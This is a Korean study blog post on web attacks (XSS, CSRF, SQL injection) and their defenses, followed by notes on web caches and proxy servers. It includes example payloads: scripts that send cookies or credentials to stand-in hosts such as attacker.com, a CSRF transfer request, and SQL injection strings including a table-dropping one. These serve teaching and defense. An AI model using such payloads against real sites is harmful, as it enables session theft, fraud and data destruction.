[CS Study] 3주차(4) - 웹 공격 기술과 방어 기법 / 웹 캐시와 프록시 서버

bagt13·2025년 4월 20일
0

CS

목록 보기
20/27

🛠️ 웹 공격 기술(XSS, CSRF, SQL Injection)과 방어 기법

❗️ XSS (Cross-Site Scripting)

취약성이 있는 웹 사이트에 악성 스크립트(HTML 또는 JS)를 삽입하여 사용자의 정보를 다른 웹 서버로 전송시키는 수동적 공격 방식이다.

브라우저는 공격자가 작성한 스크립트가 당연히 해당 웹사이트에서 온 코드라고 믿고 실행하기 때문에 세션 탈취, 쿠키 훔치기, 피싱, 사용자 조작 등을 유도할 수 있다.


XSS의 예시

예를 들어, 동적으로 HTML을 생성하는 부분에서 취약성이 발생할 수 있으며, 예시는 다음과 같다

❗️ 쿠키를 탈취하는 시도

<script>
  fetch("http://attacker.com/steal?cookie=" + document.cookie);
</script>

❗️ 다른 웹 페이지로 연결하여 민감 정보 입력 유도

<script>
  document.body.innerHTML += `
      <form action="http://attacker.com/steal" method="POST">
        <label>아이디: <input type="text" name="id"></label><br><br>
        <label>비밀번호: <input type="password" name="pw"></label><br><br>
        <button type="submit">로그인</button>
      </form>
  `;
</script>

XSS 공격이 발생하는 전체 과정

  1. 공격자가 스크립트를 삽입
    • 공격자는 입력 가능한 곳(댓글, 게시글, 검색창 등)에 악성 스크립트를 심는다.
<script>fetch('http://hackers.com?c=' + document.cookie);</script>
  1. 서버가 스크립트를 필터링 없이 저장 or 반영
    • 서버가 그 입력을 그대로 저장하거나 응답에 포함시켜버리면 문제가 발생한다.
<p>댓글: <%= comment %></p>  ← 출력할 때 이스케이프 처리를 안 함
  1. 사용자가 해당 페이지에 접속하거나 클릭하면, 브라우저가 악성 스크립트를 실행한다.
    • 쿠키가 탈취되거나, 피싱 사이트로 redirection, 민감 정보가 외부로 전송된다.

❇️ 방어 기법

  1. 입력값을 무조건 검증

  2. 출력 전에 HTML 이스케이프 처리 (<, >, " 등)

  3. 쿠키 HttpOnly 설정

  4. Content Security Policy (CSP) 설정

Spring Boot를 사용한다면, 직접 입력/출력시 검증하거나, OWASP Java Encoder와 같은 라이브러리를 사용할 수도 있다.


❗️ CSRF (Cross-Site Request Forgery)

사용자의 의도와 무관하게 로그인된 사용자의 권한을 이용해 서버에 요청을 보내는 공격이다.

CSRF 공격 예시

  1. 사용자가 특정 사이트(정상적인 서비스)에 로그인한 상태이다. (인증 세션/쿠키 존재)

  2. 아래와 코드가 존재하는, 공격자가 만든 악성 웹 사이트에 방문함.

<!-- 자동으로 10만원을 송금하게 하는 요청 -->
<img src="https://bank.com/transfer?to=attacker&amount=1000000" />
  1. 사용자가 페이지에 들어가거나, 특정 버튼을 클릭하면 자동으로 요청이 전송된다.
    • 인증 쿠키 또는 세션이 존재하기 때문에, 인증된 요청처럼 처리된다.

❇️ 방어 기법

1. CSRF Token 사용

  • Spring에서 기본적으로 제공한다.
  • 서버가 요청마다 랜덤한 토큰을 생성해 클라이언트에게 주고, 클라이언트는 요청 시 그 토큰을 헤더 또는 form에 포함시켜 요청하면, 서버는 검증해서 공격인지 판별한다.
  • 이 토큰은 쿠키와는 다르게 자동으로 전송되지 않는다.

2. SameSite 쿠키 속성 설정

Set-Cookie: JSESSIONID=abc123; SameSite=Strict
  • SameSite=Strict → 다른 사이트에서 요청 보낼 때 쿠키 자동 전송 안됨

  • SameSite=Lax → 일부 요청(GET)만 허용

  • SameSite=None; Secure → 크로스 도메인 허용하되, HTTPS만 허용

3. Referer / Origin 헤더 검증

  • 요청 헤더의 Referer 또는 Origin 값을 체크해서
    허용된 도메인에서 온 요청만 처리
String referer = request.getHeader("Referer");
if (referer == null || !referer.startsWith("https://trusted.com")) {
    response.sendError(HttpServletResponse.SC_FORBIDDEN);
}

❗️ SQL Injection

사용자 입력값에 악의적인 SQL 구문을 삽입해서 DB 쿼리를 조작하거나 탈취하는 공격이다.

SQL Injection 공격 예시

1. 예시 대상 코드 (Java)

  • 서버가 아래와 같이 사용자 입력으로 SQL 쿼리를 동적으로 생성한다.
String query = "SELECT * FROM users 
WHERE username = '" + username + "' AND password = '" + password + "'";

위 코드에, 공격자가 아래와 같이 입력한다.

2. 공격자 입력

username: admin' --
password: abc

3. 악의적으로 변조된 최종 쿼리

SELECT * FROM users WHERE username = 'admin' --' AND password = '...'
  • 서버가 검증 없이 쿼리를 실행하는 구조라면, 아래와 같은 문제가 생긴다.
    • --는 SQL 주석이라 뒤의 구문은 무시됨
    • 결과적으로 비밀번호 검증 없이 로그인에 성공하게 된다.

실제로 가능한 공격들

  • 로그인 우회: admin' --

  • 데이터 조회: ' OR 1=1 --

  • 테이블 삭제: '; DROP TABLE users --

  • DB 정보 탈취: UNION SELECT ...


❇️ 방어 기법

1. PreparedStatement(파라미터 바인딩) 사용

String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
  • ? 자리에 값만 들어가서 SQL 문법 조작이 불가능하다.

  • JDBC, JPA, MyBatis 등 모든 프레임워크에서 지원한다.

2. ORM(JPA) 사용 + JPQL

@Query("SELECT u FROM User u WHERE u.username = :username AND u.password = :password")
User findByUsernameAndPassword(
	@Param("username") String username, @Param("password") String password
);
  • JPA는 기본적으로 파라미터 바인딩 처리가 된다.

3. 입력 검증 / 화이트리스트 제한

  • SQL 메타문자 (', --, ;, /*) 등의 입력을 필터링한다.

  • ID, 숫자 등의 경우는 정규식을 통해 제한한다.

if (!username.matches("^[a-zA-Z0-9_]{3,20}$")) {
    throw new IllegalArgumentException("입력값이 유효하지 않습니다.");
}

4. DB 권한 최소화

  • DB 계정에게 읽기/쓰기만 허용, DROP, ALTER, GRANT 등은 제한

  • root 계정을 사용하지 않는다.

5. 에러 메시지에 쿼리가 노출되지 않도록 설정

  • 에러 메시지에 SQL 쿼리가 노출되면 공격자에게 힌트가 될 수 있다.
  • SQLException은 사용자에게 일반 메시지만 보여주고, 로그에만 상세 기록

Spring + JPA를 사용한다면 기본적으로 SQL Injection을 방지해주는 구조이지만,
native query 또는 동적 쿼리 만들 땐 주의해야 한다.



🎫 웹 캐시와 프록시 서버 (포워드, 리버스 프록시)

🗂️ 웹 캐시(Web Cache)란?

클라이언트의 요청에 대해 응답한 내용을 저장해두고, 같은 요청이 다시 들어오면 서버에 요청하지 않고 캐시된 응답을 반환하는 기능이다.

캐시의 필요성

속도 향상, 트래픽 감소, 비용 절감의 효과가 있기 때문에 널리 사용된다.


웹 캐시의 종류

  • 브라우저 캐시

    • 브라우저가 HTML, JS, 이미지 등 캐싱
  • 프록시 캐시

    • 아키텍처상 중간에 위치한 프록시 서버가 응답을 캐싱
  • CDN 캐시

    • 전 세계에 분산된 캐시 서버가 응답을 캐싱

🛰️ 프록시 서버(Proxy Server)란?

클라이언트와 서버 사이에 위치한 중간 서버로, 클라이언트의 요청을 대신 받아 서버에 전달하고 응답을 되돌려주는 역할을 한다.

내부 서버에 접근하지 않아도 되고, 특정 IP나 도메인을 제한할수 있기 때문에 보안상 이점이 존재하고, 로드밸런싱, 캐싱 등의 역할을 수행하기 때문에 널리 사용된다.


🌜 포워드 프록시 (Forward Proxy)

  • 클라이언트 → 프록시 → 서버

  • 사용자의 요청을 "대신" 서버로 보내주는 역할을 한다.

  • 회사 내부망 등에서 사용된다.

포워드 프록시(Forward Proxy) 예시

  1. 회사 내부망
  • 내부 직원들이 인터넷에 직접 접속 못하고, 프록시 서버 통해 외부로 연결된다.
    → 보안 & 트래픽 감시 목적
  1. 학교/PC방
  • 불법 사이트 등 접속 제한
  • 접속 필터링과 로그 저장 목적
  1. IP 우회
  • 외국 ott 사이트 접속 등이 제한될 때 우회 접속
  • VPN과 비슷하게 사용된다.

🌛 리버스 프록시 (Reverse Proxy)

  • 클라이언트 → 프록시 → 내부 여러 서버
  • 프록시 서버가 서버들 앞단에서 요청을 받아 로드 밸런싱, 캐싱, 보안 처리를 한다.

리버스 프록시(Reverse Proxy) 예시

1. 웹 서비스 로드밸런싱

  • 하나의 도메인 뒤에 여러 서버가 있을 때, 요청을 분산

2. HTTPS 인증서

  • SSL 종료를 리버스 프록시에서 담당
[브라우저] == HTTPS ==> [🔁 리버스 프록시(Nginx, Cloudflare 등)] == HTTP ==> [🖥️ 백엔드 서버]
  • 클라이언트가 HTTPS 요청을 보냄 → 리버스 프록시가 SSL 인증서로 복호화 -> 복호화된 요청을 백엔드 서버에 HTTP로 전달

  • 이렇게 함으로써 백엔드는 단순 HTTP 요청을 처리하면 되고, 이로 인해 성능 향상 등 이점을 가져올 수 있다.

3. 캐싱

  • 자주 쓰는 리소스를 리버스 프록시가 캐싱하여 빠르게 제공

4. 보안

  • 서버 IP를 숨기고, 공격을 차단한다.

리버스 프록시 서버의 예시로는 Nginx, Cloudflare, AWS ALB/NLB, Varnish 등이 있다.

  • Nginx

    • 가장 널리 쓰이는 리버스 프록시, 웹 서버
  • Cloudflare

    • 글로벌 CDN + 보안 + 리버스 프록시
  • AWS ALB / NLB

    • AWS에서 리버스 프록시/로드밸런서 역할
  • Varnish

    • 고성능 캐싱 프록시 서버
profile
백엔드 개발자입니다😄

0개의 댓글